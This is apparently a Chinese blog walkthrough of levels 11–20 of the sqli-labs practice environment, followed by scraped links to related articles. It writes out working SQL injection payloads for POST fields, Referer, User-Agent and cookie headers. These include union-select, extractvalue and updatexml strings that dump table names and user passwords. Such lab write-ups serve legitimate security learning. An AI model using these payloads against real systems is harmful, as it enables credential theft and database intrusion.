从第11关开始,我们就进入到了POST注入的世界了。

POST
post是一种数据提交方式,它主要是指数据从客户端提交到服务器端,例如,我们常常使用的用户登录模块、网站的留言板模块等,在这些功能模块中我们提交的数据都是以

post的方式提交的服务器的,之后再由服务器端进行验证。
闯关时我们可以用burpsuit抓包软件也可以继续使用火狐+hackbar插件

好,开始闯关

Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)

我们先输账号为:admin'密码为:123可以看到123被单引号括住,说明是单引号闭合型。

接下来输入账号为:admin'#,密码为:123可以看到,页面显示正确进入,而且还有两个显示位面。

这就基本上和第一关一样,用联合注入。思路和第一关差不多,先输入一个不存在的用户名使前半部分报错0admin' order by 3#,(注意这里注释的话要用#,用–+页面会报错的)

页面错误,将3改为2,页面正常。所以有两个字段。

爆数据库名:Username:0admin' union select 1,database()#

爆数据表名:Username:0admin' union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),2#

爆字段名:Username:0admin' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')#

爆所有数据:Username:0admin' union select (select group_concat(username) from security.users),(select group_concat(password) from security.users)#

第十二关

和第十一关一样,就是把单引号闭合换成双引号变形闭合就可以啦  {")闭合型注入}

第十三关

发现输入完正确的输入后,他不给我们回显出来,说明这关是盲注了,就又和第五关一样了,参考第五关。通过这关的名字我们可以判断是单引号变形,就是‘)进行闭合

获得数据库名

最后获得用户名和密码(中间跳了一个世纪的距离,不会的看我的上一篇文章很清晰的讲述了如何到这步)和第五关基本一样,不再赘述

第十四关

和第十三关基本一样就是把单引号变形变成双引号,过程不再赘述,最后获得用户名和密码

第十五关

这关题目是说时间延迟单引号盲注,那就用时间延迟吧,但是其实用上一关的布尔盲注也是完全可以的

获取用户名密码

第十六关

和第十五关基本一样,区别就是把单引号闭合变成了双引好括号闭合,没有回显位,用时间盲注

第十七关

这一关不管怎么找闭合性,都只出现同一串英文字母,因为这关对username做了很严格的过滤,对各种引号括号进行了转义,判断。但是它没有对password进行过滤,所有我们来对password进行爆破

Username:admin Password:1' order by 3#可以看到

有个报错显示,想到可以用报错注入。
爆数据库:Username:admin Password:1'and extractvalue(1,concat(0x7e,(select database()),0x7e))#&submit=Submit

爆数据表:Password:1'and extractvalue(1,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),0x7e))#&sub mit=Submit
但是,到这里发现只出现了一个表名

那这样好像进行不下去了,搜索得知我们可以使用updatexml函数。
(1)updatexml()函数是MySQL对xml文档数据进行查询和修改的xpath函数
(2)updatexml(xml_target,xpath_expr,new_xml)
(3)xml_target:原来的xml,也就是要替换的目标;
(4)xpath_expr:xpath的表达式;
(5)new_xml :替换后的xml;
(6)这一段的意思就是,用new_xml把xml_target中包含xpath_expr的部分节点(包括xml_target)替换掉。
在注入时,' or updatexml(1,concat('#',(Clause)),1)#
这时,Clause就是我们需要用到的子句了。

爆完整的列名
Password:' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#

爆字段名:' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')),1)#

查询数据时,并不能直接用简单的select concat(username),这样会引起报错。
因为在同一个语句中,不能先查询表中的值再update这个表,可以先把查询出的值作为一个派生表,然后在这个派生表里面再次进行查询。

爆数据:' or updatexml(1,concat('#',(select * from (select concat_ws (' ',id,username,password) from users limit 0,1) a)),1)#然后修改limit的值就可以查到所有数据。

第十八关

这关是基于报错注入,上一关没有对password进行过滤,这关就进行过滤了,那怎么办呢?这关我们就要用burpsuite抓包神器了(注意把浏览器设置成代理模式,抓包的网站不要用localhost)

我们先输入一个admin,admin,发送到repeater

然后这句话换成我们想要的查询语句就可以了(使用extractvalue进行)

接下来的步骤和之前的报错型注入一摸一样,

获得数据库名

获得数据库表

获得数据库列名

获得用户名密码(这里只显示了一部分密码,当然可以用not in来看其他的密码)

第十九关

这一关一进去输入账户密码就发现有一个Referer的东西,我猜就是改变它的值,事实确实如此,和上一关基本一样就是把agent换成了referer

获得用户名密码

 第二十关

进来先输入用户名密码,测试一下,发现是关于cookie值的进行注入,那我们就在这里注入

在这里进行注入

还是那老一套,看加不加单引号,怎么闭合,有几个显示位。最后发现是单引号闭合,有三个显示位

获得数据库名

获得表名,获得列名,获得用户名密码,和第一关的payload一样,不再演示了

11-20关结束

sql-lib闯关11-20关的更多相关文章

  1. sqli-labs通关----11~20关

    第十一关 从第十一关开始,就开始用post来提交数据了,我们每关的目的都是获取users表下password字段的内容. post是一种数据提交方式,它主要是指数据从客户端提交到服务器端,例如,我们常 ...

  2. Monyer's Game 11~15关过关方法

    到目前为止,玩这个小游戏并过关的人数已经达到了81人,首先Monyer要感谢各位的捧场与支持.继续上次的<Monyer's Game 6~10关过关方法>,我们来看剩下几关的过关方法. 但 ...

  3. SQL注入之Sqli-labs系列第四十一关(基于堆叠注入的盲注)和四十二关四十三关四十四关四十五关

    0x1普通测试方式 (1)输入and1=1和and1=2测试,返回错误,证明存在注入 (2)union select联合查询 (3)查询表名 (4)其他 payload: ,( ,( 0x2 堆叠注入 ...

  4. XSS挑战20关

    第一关: 没有过滤,直接构造payload过关: http://127.0.0.1/xssgame/level1.php?name=test%3Cscript%3Ealert%28111%29%3C/ ...

  5. 20道C#练习题(二)11——20题

    11.一个游戏,前20关是每一关自身的分数,1-30关每一关是10分,31-40关,每一关是20分,1-49关,每一关是30分,第50关是100分,输入你现在闯到的关卡数,求你现在拥有的分数.利用if ...

  6. sql 第 10条 到20条

    sql 第 10条 到20条 select * from( select *,ROW_NUMBER () over (order by @@servername) as rownum from tb_ ...

  7. SQL反模式学习笔记20 明文密码

    目标:恢复或重置密码 反模式:使用明文存储密码 1.存储密码 使用明文存储密码或者在网络上传递密码是不安全的. 如果攻击者截取到你用来插入(或者修改)密码的sql语句,就可以获得密码.     黑客获 ...

  8. SQL Server安全(11/11):审核(Auditing)

    在保密你的服务器和数据,防备当前复杂的攻击,SQL Server有你需要的一切.但在你能有效使用这些安全功能前,你需要理解你面对的威胁和一些基本的安全概念.这篇文章提供了基础,因此你可以对SQL Se ...

  9. sqlplus: error while loading shared libraries: /u01/app/lib/libclntsh.so.11.1

    成功安装了Oracle 11g后,使用sqlplus登录数据库时遇到下面错误: [oracle@DB-Server ~]$ sqlplus / as sysdba   sqlplus: error w ...

  10. Error after SQL Server 2012 installation: Login Failure for "SQL Server Integration Services 11.0" SSIS service

    When you install SQL Server 2012 and you try to connect to SSIS services, you cannot due to that the ...

随机推荐

  1. array, matrix, list and dataframe

    总结一下"入门3R"(Reading, 'Riting, 'Rrithmetic)中的读和写,不同的数据结构下的读写还是有点区别的. vector 命名 12 month.days ...

  2. Java入门教程八(面向对象)

    对象概念 一切皆是对象.把现实世界中的对象抽象地体现在编程世界中,一个对象代表了某个具体的操作.一个个对象最终组成了完整的程序设计,这些对象可以是独立存在的,也可以是从别的对象继承过来的.对象之间通过 ...

  3. python django 之 django自带的分页

    1. 例1: 基础的分页    1). vim app01/views.py        def users(request):            from django.core.pagina ...

  4. Python开发(三):字符编码,文件操作,函数

    一:三级菜单 If len(choice) == continue # 判断输入的是否为空,为空就跳出这次循环进行下次循环, exit(“bye”) :退出程序显示,bye 二:编码 最早的编码是as ...

  5. PhaserJS 3 屏幕适配时的小坑 -- JavaScript Html5 游戏开发

    巨坑:在config内不要把 width 设为 window.innnerWidth在config内不要把 width 设为 window.innnerWidth在config内不要把 width 设 ...

  6. 【JavaScript】DOM之表单操作

    DOM 表单操作 1.获取表单 获取表单元素 以Document对象中forms属性来获取当前HTML页面所有表单集合以Document对象中表单的name属性值来获取表单元元素 <body&g ...

  7. 使用CSS实现折叠面板总结

    任务目的 深入理解html中radio的特性 深入理解CSS选择器以及伪元素的使用 任务描述 使用input的radio单选框特性结合CSS中的伪元素实现bootstrap中折叠面板(点击查看样例), ...

  8. UICollectionViewCell设置阴影

    //@mg:masksToBounds必须为NO否者阴影没有效果 // cell.layer.masksToBounds = NO; cell.layer.contentsScale = [UIScr ...

  9. 最全Redis基础知识

    NoSQL概述 什么是NoSQL NoSQL不仅仅是SQL,它是Not Only SQL 的缩写,也是众多非关系型数据库的统称NoSQL和关系型数据库一样,也是用来存储数据的仓库. 为什么需要NoSQ ...

  10. Logback,SLF4J,Log4J2。了解它们并学习如何使用。(翻译)

    背景 如果您正在或在任何Java项目上工作,则可能已记录了一些debug,error或info语句以进行调试或跟踪.通过将库记录到磁盘或其他某种介质上的文件中来写这些语句. 日志记录是任何项目的关键方 ...